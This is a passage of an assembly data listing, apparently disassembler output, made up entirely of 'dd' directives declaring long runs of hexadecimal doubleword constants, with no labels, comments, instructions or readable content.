		dd 177A2A7Bh, 2BC600D4h, 37973EE6h, 0C17D24D8h,	8D38EC00h
		dd 0C423D92Ch, 4DEF0018h, 0DDFDBAF7h, 0E698F22Ah, 0DBFA2201h
		dd 4E319F0h, 3B0A32D4h,	79180FE8h, 51F6C2A9h, 73CEAF1Fh
		dd 96859500h, 7E10B29h,	27C7B42Ah, 90E624C8h, 542536CEh
		dd 0D4D125C0h, 0FB8981Dh, 0C445A80Fh, 7F61820h,	0EE1913DBh
		dd 0C92B4C2Dh, 1BD5BD40h, 4D2F2F59h, 0E58E7Dh, 0D637981Fh
		dd 8CFA0040h, 0B4557863h, 3B3BC47Dh, 0A475808Fh, 0E886A892h
		dd 0F4FC091h, 63886FAEh, 80F9A27Ah, 71B86517h, 0F7244C8h
		dd 4E8CEF90h, 0AC9C413Fh, 0C039E03Ah, 6E602A53h, 0CB3CA02Eh
		dd 0AF0F00CAh, 44CF5CF2h, 8F0AE0BAh, 0F248352Fh, 6A4F09h
		dd 86517C4Dh, 0A4AF0964h, 2B82FBD9h, 0EF48A956h, 281ECF75h
		dd 2A4112C5h, 985144C1h, 10150483h, 0E8000838h,	3F46CE70h
		dd 4F51E79h, 1B5EFD1Ah,	986580DBh, 100026EBh, 0FEDFFCE1h
		dd 0CB9E0Fh, 0CDEA8F06h, 6CF81EF1h, 0A3B0FA0Ch,	185735DAh
		dd 0FE099BAh, 6972A05Dh, 0A4DA7913h, 65528540h,	0FE0C8184h
		dd 189790B9h, 0B09835A0h, 0F9FC8F6Ah, 76CCBA61h, 6FDC6589h
		dd 0D8DDA001h, 0E9E7128Dh, 214805FBh, 5CE400B7h, 1E8F7663h
		dd 8EAB4B00h, 98F614CDh, 45FC1F29h, 0A141C016h,	1323E01Dh
		dd 0DE0CEB00h, 0CA35EC25h, 47E70924h, 27A20FEAh, 7240C433h
		dd 4203A94Ch, 2CE712C7h, 0CE430051h, 409E6D1h, 3600D891h
		dd 0B9080CADh, 0B8341884h, 12857609h, 0F915811h, 3AE0E713h
		dd 53A2B44Bh, 0FBA36A3Eh, 0BEF94D01h, 75595C55h, 58163Eh
		dd 45B0544Eh, 17FE66A9h, 0AA52B100h, 0B5679E4Bh, 1E5DEC12h
		dd 148DA7h, 75608483h, 901EB457h, 61468665h, 3C105976h
		dd 0F3929562h, 70A202A7h, 61483DFBh, 4C91C253h,	64AD7C41h
		dd 12F5020h, 19D87E8Dh,	0F45459B4h, 797A3521h, 48AB602Eh
		dd 3A201407h, 0BF7D01D9h, 488375C7h, 71CBAE6Dh,	5B480C1Eh
		dd 49AA4384h, 0F2EFA887h, 47B060C0h, 0E7740CA3h, 132C6596h
		dd 3BDB1609h, 88C58005h, 791AD97Dh, 56F0B5h, 7E371C9h
		dd 912ECBC2h, 4EE02B00h, 0B9418412h, 51D20293h,	18F7D799h
		dd 0D0E1EF41h, 0A94882FBh, 2FF1D3Ch, 0E2D33600h, 124AE707h
		dd 0B93109h, 17656740h,	3DE4EFCCh, 0BE1B800h, 94BA6D52h
		dd 7D9F245Ch, 54BB003Eh, 0B830A6C2h, 24F51638h,	1A1CD629h
		dd 58C043DBh, 44001804h, 59907763h, 40003DB5h, 14B0C64Dh
		dd 18D1DA4h, 0FE725482h, 3046DD28h, 743B8FC4h, 0F1B45AE2h
		dd 0B227B8A0h, 641A0103h, 0A6EA718Fh, 0EFF22056h, 7900795Bh
		dd 0F6A32AD9h, 48D30C60h, 1DCEAECAh, 5300B9F0h,	4AC5A77Ah
		dd 203676h, 0B34E141Fh,	53CFD75h, 79235600h, 309949C1h
		dd 9E001D5h, 1A46E895h,	70ABFC8Ch, 0BAA12201h, 588754Fh
		dd 0A503FCh, 0DF309045h, 0FFF63BEEh, 3A002A76h,	0E3BA5AD2h
		dd 1449FF8h, 9D685B2h, 0F049C0CBh, 0D8002F9Bh, 0EECFE811h
		dd 5893CD1Fh, 0C224F4BCh, 4C7180D1h, 529747A4h,	0DEFA7DE6h
		dd 38012600h, 0CE6D621Bh, 0F0DF003Dh, 0E0B93CCDh, 0BC920529h
		dd 1E20B700h, 0D1E25EC4h, 0A0D57DE4h, 925D84A2h, 86893F86h
		dd 0B2517781h, 287E6B8Ah, 0BD4A1D07h, 74AD49h, 15C06444h
		dd 0B0BA92B7h, 16C118E2h, 754210B9h, 0A593E612h, 5B10A000h
		dd 3969FF9Dh, 22110831h, 27D40057h, 5E92A07h, 2F920160h
		dd 8CED2ED3h, 93A83ABh,	0FA02FA1Ch, 119684DCh, 28E13EC0h
		dd 0E40605F1h, 80D60F1Fh, 1CE7D148h, 3B7EFF30h,	0BE80EFBh
		dd 0CA29E409h, 0B0F70F80h, 5CE4EE07h, 0EF0BF3CFh, 0F0D0802Dh
		dd 0E8DAFD1Fh, 0E55AC113h, 0D8D9FC20h, 5407EE16h, 0C93E9EDDh
		dd 630AB4F2h, 38D1F8A5h, 0CBEC9804h, 0AC0996h, 7226D7F3h
		dd 804019CEh, 65FAA5Bh,	0D586BB6Eh, 2105FFA4h, 3F28AD64h
		dd 6B200DC7h, 7482FA6h,	857263A4h, 0B3315067h, 0D80186D4h
		dd 27A1AD08h, 3E81875Fh, 37F219C3h, 611CC802h, 0DE168360h
		dd 26F80D21h, 41F5F67h,	0FC4E20h, 641546FBh, 0E128C177h
		dd 602C1224h, 0A8E6AD5Dh, 0D479DA00h, 30AB342h,	8E180092h
		dd 864BB822h, 753AA65Bh, 813C6004h, 0ECC57284h,	0B69080h
		dd 0D701FE2Fh, 0C035D2FAh, 5A01AFB9h, 0E13FE5A2h, 37F4077h
		dd 5CD80CE9h, 0FA8F25Bh, 590055FFh, 33EE34A2h, 0C793EA28h
		dd 9E947858h, 7EA6CB43h, 64D406F0h, 8069013Dh, 0DAC72FBFh
		dd 1D6B282Bh, 40CBB451h
		dd 42BD64BEh, 945C3C9Bh, 6A9F00B2h, 0B35C8463h,	5781007Eh
		dd 6EAD8AACh, 12C09320h, 0AB3FB673h, 66F5013Dh,	758C4413h
		dd 4CE9F49Eh, 5F3A2701h, 9247827Fh, 0C8805EE9h,	0B1F50F7Bh
		dd 0FC144AE4h, 3C929646h, 5F568219h, 81C7648Ah,	2BA265E2h
		dd 3C070A62h, 0D0EB0D9Eh, 0ED0FDAF5h, 28E50A03h, 0C7E7E0CBh
		dd 0ECF9FA90h, 0FCC9C0Bh, 422017BAh, 30D43BA3h,	0E023C509h
		dd 2F41A03Ch, 72E324C8h, 0F1AE0041h, 0DF063EC9h, 0D64D0EFDh
		dd 0E0070CCEh, 9EC10FFh, 0A46D104Bh, 85EA5101h,	0CA22C3h
		dd 99AE4004h, 0F398A9Fh, 0E8ED22BEh, 0E9101DA0h, 191EEECEh
		dd 1E40C594h, 2F9164DAh, 75AC0A59h, 1FCE638Ah, 49BE4099h
		dd 62A746A5h, 7F6B49h, 0A07BB657h, 98F0D13Fh, 492C1315h
		dd 4A1AF09Bh, 0B26AA704h, 28D0AB13h, 0AC50B3h, 0BF65A049h
		dd 0B153B418h, 611E9300h, 6F568E79h, 86BE004Dh,	578D7C5Fh
		dd 10C04F70h, 0FD809B5Ch, 7AE0C2A3h, 410033D5h,	24F015B6h
		dd 8F401A63h, 0F422B897h, 26692801h, 0DA1BC848h, 0D7F54D1Fh
		dd 0C7B241C2h, 4484C098h, 7B600057h, 0C056038Ah, 73506B8Dh
		dd 0DC052581h, 99BE3E3Fh, 28CE7780h, 0E46198D0h, 17840001h
		dd 0CD78577Fh, 0E029DE7h, 75BBBD7Ah, 12070E1h, 679C3EB9h
		dd 0D0FD6DC7h, 0FCE50E33h, 7B0064D0h, 0F6E4D31Eh, 1F0C40Dh
		dd 0EE50DAD1h, 0F476980Eh, 76D3DEB4h, 0CC6D5E04h, 2C15B8D6h
		dd 9D74E509h, 85F8CD10h, 0CCA42019h, 1F00CBFAh,	0BB44E5E8h
		dd 0F4F910h, 89721125h,	847BA661h, 27AE571Eh, 0E652DC40h
		dd 1CD3FC7Ch, 814AEF3Ah, 0D8F5E808h, 20F9EC35h,	0F312B702h
		dd 8095F063h, 1EE5D334h, 7C21D97h, 693D2h, 0AE37D729h
		dd 6500090Bh, 77AA6E02h, 75F8EA0h, 0A91E8F7Eh, 2BE2F3F4h
		dd 0D803EC98h, 0A20013F0h, 0E0D702C7h, 78409FAh, 12F741D5h
		dd 0AD7D90BAh, 0C81F9FEBh, 695DDC7Ch, 143AEF07h, 0A015F860h
		dd 295900FCh, 675045C0h, 0F188685h, 9910C628h, 0B7A30194h
		dd 0A512EFE7h, 1ACFF049h, 0D905F402h, 0E067BF15h, 27166D8h
		dd 5E7F6E80h, 0E6605D7Dh, 78005CBDh, 536ACB8Fh,	9CEFFFA5h
		dd 0CF30095h, 0F5A429E2h, 9F886109h, 7514223Bh,	17E6209Ah
		dd 2D900611h, 0B36EA300h, 83F3B61h, 0E5130009h,	29FC9851h
		dd 8E002F3Dh, 527A5D7Fh, 19C40B5h, 16EBC8B9h, 40C37405h
		dd 2234F1B8h, 0F5F7E303h, 0F00732D5h, 0EF30F4h,	0EB0B9741h
		dd 8AE4E851h, 14009178h, 0BF2EC0D8h, 0B912BA1Bh, 37D380CCh
		dd 0DD691084h, 376A50Ch, 80608Eh, 3FA84E83h, 81749538h
		dd 2432D909h, 8D9B608Ah, 66858899h, 5B818603h, 0B888537Ch
		dd 3C7930A5h, 98873DB0h, 0F0553E5Ch, 5EF10570h,	0D975D00h
		dd 9E6D4FDCh, 8B250117h, 0E05018DFh, 7A32986h, 360B57B6h
		dd 0E39E33D0h, 0CAFF12A3h, 0AA250030h, 8F91291Fh, 0F82425B8h
		dd 11016BEAh, 389554FAh, 0E6F89335h, 5506003Bh,	6B268F24h
		dd 5201E4A1h, 35FCD099h, 27DC01ABh, 0A41CC48Bh,	0A719C0F7h
		dd 22315BF8h, 0E29F1688h, 4E86489h, 0ED00670Bh,	2ECCBC2h
		dd 0C4004C90h, 4CC19DC9h, 5C7D6F7Bh, 0A0049560h, 800F9BB2h
		dd 0E953E308h, 5AF94006h, 1356941Fh, 14FDF9Ch, 53C7CE90h
		dd 8980E8C5h, 0AC550403h, 1F950E6Fh, 0DC9E8B28h, 816C80AEh
		dd 0C2540588h, 0C9A78F00h, 14ED711Fh, 60760007h, 36F3652Dh
		dd 0F90AD820h, 8AFD34CFh, 0F5F80F05h, 0FF28FB80h, 6019303Ah
		dd 0E503DD2Fh, 0A8027D1Fh, 779752C3h, 5A25C2EBh, 2CC200FFh
		dd 18F3D965h, 1300F9A6h, 3193D634h, 0B8BAB28h, 0D2656DAEh
		dd 7330C502h, 0EA6A2BE0h, 0DD00F37Ch, 694E97B7h, 28538984h
		dd 2E9C4B74h, 6B6B48h, 0CE1CEBB0h, 0BF00AC20h, 81FC179Dh
		dd 0B80E587Eh, 42AB002Ch, 3E046DD8h, 0A00E452Fh, 0A9A44A7Fh
		dd 227BAFA8h, 52100E57h, 0D4F62882h, 0E12200FBh, 0DA193DECh
		dd 8F0128F5h, 2D7DE2Dh,	378088F1h, 992A2E13h, 4034DCCh
		dd 108B3A2h, 0ED8C90C8h, 1CE916D2h, 0B62FC0FAh,	45F2F514h
		dd 0D6C3CF00h, 0F987CDACh, 39960055h, 2C922DD4h, 1E00EEDFh
		dd 1CB73D0Eh, 0B17829h,	8B34939Dh, 71A25782h, 0E0490830h
		dd 0FAAA5F7Eh, 6F502447h, 0AC420181h, 3C0A3233h, 0F8E1DA2h
		dd 0E629C5C4h, 8C1E6DD0h, 0CAC7965h, 696CA13Eh,	44002347h
		dd 7B7C719Ah, 35B84Fh, 787D8A32h, 3ABB4A6Fh, 808B2D3Bh
		dd 0C14E7275h, 38681BCCh, 0EB4A23EBh, 0A05F9C8Bh, 6B4AAE82h
		dd 78BB37C8h, 58CC2D4Eh, 810324FEh, 0C005A1CBh,	4554336h
		dd 5DB2E1BDh, 9FC5EF39h, 5229FBFh, 755D685Ah, 428F3944h
		dd 8F35FDBBh, 2ABAB38Bh, 98A00029h, 0AAC8FFFDh,	2EF2F9h
		dd 0C005740Ch, 0B83E94CBh, 0FBE6021Eh, 0FFC50340h, 0EE9B30E0h
		dd 0D31A001Ch, 0BFF84293h, 0DC0E2998h, 0A5125FFDh, 0D400A064h
		dd 3167416Ah, 383200C2h, 55B2371Bh, 977EB913h, 40EFCAA3h
		dd 0D218350h, 0D8587113h, 2D1E000h, 71B06032h, 88FC4C05h
		dd 28857700h, 61C9474Bh, 0E83314E6h, 8098D510h,	0E2ABE1AAh
		dd 51E300E5h, 0C3991E9Ah, 520040D8h, 0DE8B58F5h, 6056C081h
		dd 0B9F83459h, 9E3EAC2Eh, 0F7E90C2Ch, 30600C95h, 0F65905E8h
		dd 0B03D98BBh, 5E6180CEh, 6AB7DB81h, 8BE0EF4Fh,	0F2F210h
		dd 30038C67h, 913BBB66h, 0DED014C5h, 0C38049C0h, 1312C0ECh
		dd 664589BAh, 0BAF38B3Ah, 0E61DFC10h, 0E8094E5Ah, 63C8874Bh
		dd 66A8FBF6h, 9EF51147h, 0F5F239Fh, 76FFF385h, 0D9BF0002h
		dd 115A664Dh, 0ACEE88A4h, 0A3FAA50Fh, 0DEE70614h, 5AE80808h
		dd 110FDDF8h, 2FDA00CEh, 67DFE794h, 417B2119h, 8024B3AEh
		dd 0DB9A9111h, 0A0AC9455h, 0E41CF81Ch, 2411C080h, 211E6ED6h
		dd 8281E060h, 604D576Ah, 646811FBh, 6D20AB24h, 30E80252h
		dd 5801E251h, 7A492013h, 0F468FA44h, 5048E910h,	0E0600892h
		dd 9C8307B3h, 0F040ED21h, 33D3B8A1h, 25088015h,	0EE5A82A0h
		dd 53CD3118h, 0C998920h, 427121D7h, 323BA510h, 3AE2803Bh
		dd 24CCA090h, 9E8E50B0h, 0C9AD28A4h, 6D2903A0h,	0ED5D2B30h
		dd 0E02DC1E1h, 10CB187Fh, 0B40C00B1h, 0FF74D74h, 0A45419A1h
		dd 0C03F0607h, 0F24613BBh, 11501EF8h, 0BC7CEA14h, 0E8E1520Eh
		dd 652F21D1h, 5083201Fh, 0EE819CD3h, 5527780Ch,	5A1993h
		dd 0E76BAD64h, 5F11B6A4h, 0F100D0E4h, 282F420Ah, 0A0A01EE2h
		dd 20219888h, 65007201h, 135795C7h, 277EE5Fh, 199202B3h
		dd 410E485Dh, 0BBF4062Eh, 6211204Fh, 8109454h, 8012B2BDh
		dd 72BF931h, 0CC0CC898h, 8E0905Eh, 5421C009h, 24CE2BF1h
		dd 18653619h, 0FE18BA40h, 29DD2B48h, 51120F0h, 2BF65302h
		dd 4044F961h, 75F76B00h, 6FA1CD48h, 63FA1D24h, 8C8C14E7h
		dd 0B8649A0Eh, 0AB80F415h, 9CC4F0Dh, 18A30400h,	0DFD4D651h
		dd 14DB48BAh, 2D6AF500h, 0EE8A62A4h, 7DF1111Ah,	47208138h
		dd 4824EB4Ch, 0D20400C8h, 352E61FAh, 1E6669A0h,	21FC08h
		dd 82D20CAEh, 0B4B0D763h, 213890C3h, 6589063Dh,	189E7BDFh
		dd 0A44A487h, 0D466C660h, 411FC41Eh, 48428092h,	0FB375h
		dd 16BFA8CAh, 0F47C2200h, 2E81AD63h, 1DB09026h,	33FF7595h
		dd 23803228h, 9A074822h, 356E6974h, 3906F11h, 2A0D0C30h
		dd 0B8A7F9h, 4E99B784h,	157E942Dh, 8AC2533h, 0E32107B0h
		dd 0C51A99BFh, 3D3C8031h, 126430F0h, 0B1600B48h, 0B5A24899h
		dd 0E5002414h, 0A53D99B9h
		dd 0D8382B65h, 7D2FB8A8h, 11034333h, 32CCC812h,	8BBD00B3h
		dd 0C84AABF0h, 251850CBh, 30197EDCh, 19111238h,	1464215Fh
		dd 0B7F9014Ch, 0A2827187h, 368CC096h, 66F89A5Eh, 98A40600h
		dd 0FB28439Eh, 18DA77A9h, 48529911h, 1E15C9B2h,	50F8EA2Ah
		dd 16324118h, 102718E4h, 0EE3AA363h, 518C1374h,	13327C04h
		dd 419CD101h, 0FCF020DAh, 0C4E76109h, 61080FA1h, 989263C2h
		dd 0F8934431h, 0DE84204Dh, 552CC39Ah, 8C26C191h, 0DC44500h
		dd 76EA369Eh, 799803B3h, 0AA68D6Fh, 9C55B9E8h, 0FFE9A460h
		dd 77708B8h, 1E23791Fh,	4B028E95h, 804889FCh, 0ED243FA3h
		dd 431178BFh, 0FED2029Ch, 0FD310E61h, 8608AA11h, 18B31A20h
		dd 0A64C0371h, 0F578EB35h, 0CEBB09F8h, 20E452EFh, 52C2E080h
		dd 4C3433E0h, 541448ECh, 9B550CDCh, 78F411A2h, 0FE2002BAh
		dd 4C4103B0h, 74C58890h, 0B20B2200h, 0CBA52A2Eh, 0A648175Ch
		dd 5D3500E9h, 2F1E364Bh, 5131ED60h, 7025BF77h, 0AC9A4982h
		dd 63F2710Fh, 1E1749C1h, 1B1F33Bh, 0BB91804Ah, 0E123C1CBh
		dd 0D3F7004Eh, 67C7208Ch, 43F622DCh, 800055F2h,	0FCDED1ECh
		dd 4836E48Eh, 1F2234C8h, 59119A09h, 7B1C0077h, 3C2430Ah
		dd 0AB879751h, 0A6AB55D9h, 1A2FE91Ch, 0E7F44902h, 828891D0h
		dd 8C0FA020h, 4C99B50Eh, 0B288B12Dh, 99BDE183h,	0B3F9F8C8h
		dd 4549C117h, 0F9AB27F1h, 9A8AE803h, 7B653119h,	0EC60A898h
		dd 2DE940BEh, 1477D12h,	4202B400h, 2E035815h, 2020C481h
		dd 0F6413C28h, 206B24h,	0FFD3D1B9h, 1E170A89h, 4021E620h
		dd 96D29E55h, 813B04E4h, 0C0A53924h, 14D7C180h,	380B148h
		dd 897AAA79h, 0E530059Ch, 0EE4A1Dh, 0E08E95CEh,	0B22C42B5h
		dd 2880D402h, 0E39A887Fh, 9F5F0261h, 182F7707h,	65AB3040h
		dd 3CA45954h, 6C579A24h, 4A81F831h, 79598007h, 58244334h
		dd 8D0EBCC4h, 0CACC2090h, 0FDA6BAh, 0F1399CA2h,	0E7A1EAB2h
		dd 1B80D552h, 0C5D9281Eh, 220DEC1Eh, 140C11E4h,	0D3098629h
		dd 0C55D94h, 3A385BFCh,	37250377h, 0EF4DE1A9h, 69D52900h
		dd 0C58A9175h, 5CC1E5F8h, 3130C983h, 15F0B8DCh,	34D242Eh
		dd 1166102Ch, 0F0B2CEC8h, 4E44C46h, 61FBD205h, 20F46226h
		dd 46D20DAFh, 0A12CAD00h, 14DB4B98h, 0E7CB16EFh, 0F8AC4668h
		dd 80B0D152h, 16204B20h, 204CC9D1h, 59161980h, 0B81D2E00h
		dd 6C9B24FFh, 7CEE0CCFh, 47BE8B45h, 63E2DD03h, 3BBC3CEFh
		dd 844C4F58h, 25BDFC10h, 131C1049h, 151A0133h, 0F88EB5A7h
		dd 706770FCh, 0C2AA4A00h, 9A60516Fh, 0C36D1862h, 98199009h
		dd 495069E4h, 2A0280F4h, 0D142A047h, 0C610C8EFh, 309A28B8h
		dd 62E7AC0h, 435D5B73h,	3C004036h, 0D11683A8h, 94C8A984h
		dd 1228EA00h, 0E8A40175h, 0E03A8837h, 80006354h, 3CB8C570h
		dd 5157CAFh, 6C1E77C9h,	804845Ah, 2C241C8h, 1E00C1D2h
		dd 88FEC858h, 0D2090AA8h, 3F81B52h, 5286D44h, 38CFE9D0h
		dd 429400A4h, 10E2B25Dh, 20083891h, 0EF6183EEh,	287A8204h
		dd 0E2404752h, 3C7730FDh, 44D0D126h, 0B6800C11h, 9C2D4F99h
		dd 0BEE20087h, 5B856E99h, 0E8935526h, 0E480F644h, 71B6C9F2h
		dd 6B5D06D1h, 0A895D8E7h, 0D9E1E8E5h, 5C96AC77h, 41439C80h
		dd 109A63F7h, 50ECABA9h, 4408740h, 4F8C09D7h, 0AC00A11Bh
		dd 2749013Bh, 18EF552Eh, 0B3655A81h, 204F09B8h,	8E182811h
		dd 2F540951h, 300380ACh, 6D1C4Fh, 40B8FEE4h, 6535DD8Fh
		dd 4BFF71Fh, 0F8A0FB98h, 0E9DF0Eh, 0D3653C87h, 747D2889h
		dd 7F33BF1Fh, 3981CFh, 113F9BCAh, 378074E7h, 807ECF72h
		dd 7E2898FCh, 22ADD00Eh, 19E88078h, 98BC179h, 0BCF15E31h
		dd 86CDEC00h, 0C7007816h, 0C162348Dh, 5633FBEh,	7F3581D7h
		dd 553828A4h, 2C78D678h, 8C184AE9h, 782E0858h, 0B08B6070h
		dd 653390E1h, 2883EB24h, 3987D600h, 1E8EA58h, 8BCB630Ah
		dd 0E0F04415h, 0CD2C691Fh, 0A414859Ch, 0FA70F68h, 2ABC0645h
		dd 8F00B239h, 87B38404h, 4F50B4A1h, 10EAB420h, 244AB2DFh
		dd 570ED441h, 0AEDC1FFh, 3083A579h, 0E97D5B91h,	8301912h
		dd 8FDF80Ah, 70011012h,	69894D7h, 17F4C540h, 0EE2CA0EFh
		dd 11514B31h, 478D0C08h, 990C1C88h, 2B305C64h, 6403FCC3h
		dd 20F9A059h, 0C4E5219Ch, 9332B841h, 4030DAE4h,	5E82195Bh
		dd 0B878A89Ch, 58155030h, 0F37E87C2h, 87DDFC0Eh, 0AD8D437Eh
		dd 44DDC820h, 0DE24E7CDh, 9A83CC1Ah, 37F9139h, 5D996B28h
		dd 92A1EB2Dh, 0E10C4719h, 29AF9555h, 23750974h,	0D9BC8034h
		dd 7461F4D2h, 0F9D89859h, 648429F2h, 0C76341E3h, 92008168h
		dd 0D33ABC67h, 7C1C5812h, 6CAB10F9h, 1484B951h,	2702588Ch
		dd 0A798022Bh, 4D11649Dh, 61C4D202h, 8CA8B6DFh,	904B10BCh
		dd 0CA921B8h, 68805B80h, 1784A518h, 53ECCE19h, 0F428F8D7h
		dd 0A47B26E0h, 928F105Ch, 0B1F94808h, 68CF1D40h, 8C08A400h
		dd 51E4A3E4h, 6071D589h, 69D9FD7Ch, 90090798h, 0CC891C90h
		dd 17240860h, 19A2CF30h, 0A665A07Bh, 0E0416288h, 64411130h
		dd 0F2EE08DAh, 40588B4Bh, 19E044A8h, 0C6B2124h,	8042B16Fh
		dd 18990B8Dh, 8CB4D50Ch, 3A2BC505h, 15A1048Ah, 0A884C29h
		dd 6182E0CBh, 0F4486F28h, 7A422A5h, 42E340C9h, 6D288714h
		dd 501D6438h, 46BEA380h, 60140C99h, 70098CA2h, 0C9F8867h
		dd 592A2BC4h, 22A8D4C4h, 1A808556h, 0C3099F5h, 8CA1172Bh
		dd 0A89C263Bh, 63518F87h, 49B1BF0Dh, 16EAF2A0h,	14641A24h
		dd 0D6291E11h, 4374ACD8h, 61571701h, 54C9C850h,	0E4D15128h
		dd 0A69D5544h, 0C81DFA8h, 2F79E24Dh, 2894D8A6h,	2F6558ABh
		dd 2C6A4C52h, 115FE39Fh, 2E09BFDBh, 0B4C088DFh,	0EF09CC43h
		dd 309F521h, 0E4ABD478h, 144CA144h, 0B6A222DCh,	32BA60A0h
		dd 0C631A4F4h, 552D70CAh, 0B25822F2h, 47119C08h, 0DD043C46h
		dd 791DAE48h, 3C70E814h, 4790B425h, 47D895C2h, 813C043Ch
		dd 0FC786414h, 0B9F98E40h, 8CEC0054h, 1A2AA0B2h, 0E55C8900h
		dd 5149288Eh, 0C9A1869h, 0D2A828C9h, 46091EFEh,	0E41CDCCh
		dd 205D09A4h, 6FB1EBB8h, 0AF0900DCh, 0E2A353B6h, 312E77Bh
		dd 5B00AB4Bh, 9D699C9Ah, 2D6EC715h, 35103CA6h, 4DCE4500h
		dd 0DB32131Eh, 0D1B802E6h, 61AB0320h, 82BC9854h, 0B3D02DCFh
		dd 3710481Fh, 9A9D0017h, 0AD65FD4Ah, 0FB76B6B9h, 6B130E0Eh
		dd 0E14D64B2h, 779CF890h, 3CC5002Eh, 0C1436F3Dh, 4D5B5912h
		dd 37E69840h, 0EC8E4Bh,	4E211E10h, 255BEEA5h, 27E8CD00h
		dd 7C86561Ch, 800B03BBh, 0D613BF4Ch, 9F08E3E0h,	12004278h
		dd 6AA7468Fh, 2A341C5h,	0AE4C8918h, 14948219h, 4B310C78h
		dd 0A47630A0h, 0A30CCCBEh, 1B308F0Eh, 0AB4A8000h, 0B943850Bh
		dd 0AE80358h, 739616BFh, 488C9003h, 0E7E9A5AFh,	72851241h
		dd 3A9914DCh, 806CBD73h, 0A8E88D28h, 76841F1Dh,	7C9C1503h
		dd 4B780CAFh, 1E310FA3h, 59769F30h, 0A61AA17Ch,	8475520Ch
		dd 0B94F8900h, 0AE77810Bh, 889C1728h, 4A831E06h, 4296AA2h
		dd 53856975h, 81638799h, 9E2E6C76h, 0D9C1E249h,	7419F8F6h
		dd 6FAF3180h, 0EFEC3459h, 29A46200h, 0F595EBCBh, 440300DCh
		dd 53094B31h, 200F3D9h,	0AD676955h, 7C10A0A6h, 15BA002Dh
		dd 68E28790h, 7718FE3Bh, 6271066Fh, 4248006Ch, 15ED992Bh
		dd 0EA0153FBh, 0E90327D5h, 288726F1h, 4113A7ADh, 8C0DA3E5h
		dd 0A14425C9h, 8C18A3F5h
		dd 2FC6859h, 6C251022h,	32E31C0h, 31E753C6h, 0AC59A015h
		dd 8A22D219h, 0EB9C03E6h, 554048C5h, 0FB382A19h, 0B9E9D3FFh
		dd 59BC6999h, 0A8129B7h, 47C843A8h, 0DE253119h,	3560F059h
		dd 0EFE30629h, 4068F9CFh, 0FC201F02h, 8A6957F1h, 0D0214BD0h
		dd 0BDC42F90h, 67AA61DBh, 0E85186E9h, 0B983E624h, 2ADC576Ah
		dd 91A66801h, 19FF1A7Eh, 4F07A453h, 2832F8F1h, 7880DCD6h
		dd 6BEEB529h, 399D31C3h, 0E9181421h, 0F5734C84h, 2AE85840h
		dd 91736398h, 0EF26FAEh, 81201841h, 0D981E6B9h,	30B8FD7Ch
		dd 181D8E19h, 0EA4C5226h, 98E858A8h, 0AD2D91E1h, 1378691Dh
		dd 5FC33977h, 915A92F1h, 15F29DA4h, 746DDD92h, 0EDE9B88Eh
		dd 1144A230h, 0FE880B6Ah, 335D1D62h, 105A5021h,	2B21AE02h
		dd 7E1CFA08h, 4F6A9121h, 0D4928890h, 4F544121h,	0D48A88F0h
		dd 44405D21h, 35A22231h, 53791908h, 351A2284h, 19B22510h
		dd 841A3211h, 256377C5h, 485C0948h, 296C846Ch, 0AC8C2152h
		dd 5F343421h, 0E0530A3Bh, 9D72AE21h, 4061DAF4h,	2D6F8482h
		dd 609B826h, 0D07F8627h, 0E64490D1h, 0CB029DC1h, 0A0493A68h
		dd 452E1128h, 9A97B030h, 102F62A4h, 4C98016Ch, 61D205A3h
		dd 11C99808h, 0EB2C1970h, 485C0369h, 40BC6407h,	9BE74101h
		dd 0E822BD63h, 34702512h, 41A836DCh, 225F401Bh,	0E7E1C121h
		dd 3890A426h, 18B2871Ch, 37B711D0h, 83CAF501h, 0FDA1B9CDh
		dd 462BE0h, 0BF33B29Ah,	0CA7991AEh, 0C0A2098h, 241AAAE5h
		dd 5357D90Eh, 0E16BA803h, 7C18EE44h, 0D6F2085h,	37FB8018h
		dd 874130h, 316B0E5h, 531E1926h, 0BD60A506h, 4A07C1Dh
		dd 894727F7h, 7E37E8CAh, 444D2F06h, 0C0F02187h,	372ECF69h
		dd 0BA0C6365h, 26A119F3h, 31F71F3Ah, 80209D0Fh,	8392613Bh
		dd 0A5186375h, 9F605159h, 0FBE6009Dh, 0AE883DC5h, 0C7602169h
		dd 1AB815D8h, 1FB4A424h, 0CE67933Ch, 1EE083C1h,	0BD1F8E48h
		dd 0C8691509h, 0D72C041Dh, 1189A842h, 0D29C54C9h, 9ACB800Fh
		dd 0B3BA1ABh, 3659EF7h,	4FD6C10h, 66F13405h, 84075421h
		dd 7D04A32Ch, 0D8973093h, 345D167h, 0C64C6DA9h,	65F883DBh
		dd 2B01E8FFh, 86086ADAh, 0F3FCA369h, 8FAE0782h,	77C3ED50h
		dd 0DF6AB027h, 0D87DF728h, 0F12A3Ah, 3F02DE9h, 1E73BDBh
		dd 0E20C5DA7h, 0F013F5C6h, 5400DF68h, 50F169A3h, 7251DF7h
		dd 0A96EEA2Bh, 28C14655h, 0EC2D11C3h, 0E651E069h, 52F000C4h
		dd 54D268A3h, 0EF3C1DE7h, 3DC3E38h, 0F5C5F72Ah,	0DF6DC121h
		dd 66FE4E0h, 0BDAD2CECh, 48DB84Eh, 96B1C07Dh, 0B490E621h
		dd 6BAD3E1Dh, 188357CAh, 0C063A850h, 4384411h, 0B80079D8h
		dd 0B6052B8Bh, 0F73D375h, 7A128428h, 0E974DD80h, 0C67CA1D7h
		dd 0F7F00D0Ch, 14C4081h, 0B850D09Eh, 0ECA68E85h, 187D2052h
		dd 4B167F00h, 0EAF7D46h, 388C006Ah, 1273BCA4h, 0F00BDB5h
		dd 7846C1E2h, 0A0A6BEh,	58C8FB26h, 0E4B151Bh, 0F211EB03h
		dd 0D0123F4Dh, 0F8145BDDh, 0C7061B4Ch, 78E070E4h, 40A33641h
		dd 32B4EE0h, 0BFE8D9C3h, 600878F4h, 20EF9F6h, 0D5230D7Ch
		dd 2BFB0F9Bh, 923A4342h, 7CD3073Ch, 8EA01BEAh, 0B13120E0h
		dd 68C1B87Fh, 0E77EC5CBh, 71EF901h, 3883B3A0h, 0DD81C0BAh
		dd 0A5170964h, 930840DFh, 81A30CD2h, 2162C850h,	0A2F06678h
		dd 9461BAD4h, 979A088Ch, 3F14325h, 7D4D8082h, 8884AAD3h
		dd 0B500886Ah, 8CB00201h, 80A85124h, 0FE0F1980h, 0DFA38674h
		dd 591EA003h, 28CE494Dh, 6448F789h, 9C7B0873h, 22F1332Ch
		dd 0C163B864h, 5013CD49h, 0A436F053h, 3B151D00h, 0A18C92BCh
		dd 28F11E89h, 21D9C0F0h, 50DCDAECh, 66E5EE78h, 50DF2C78h
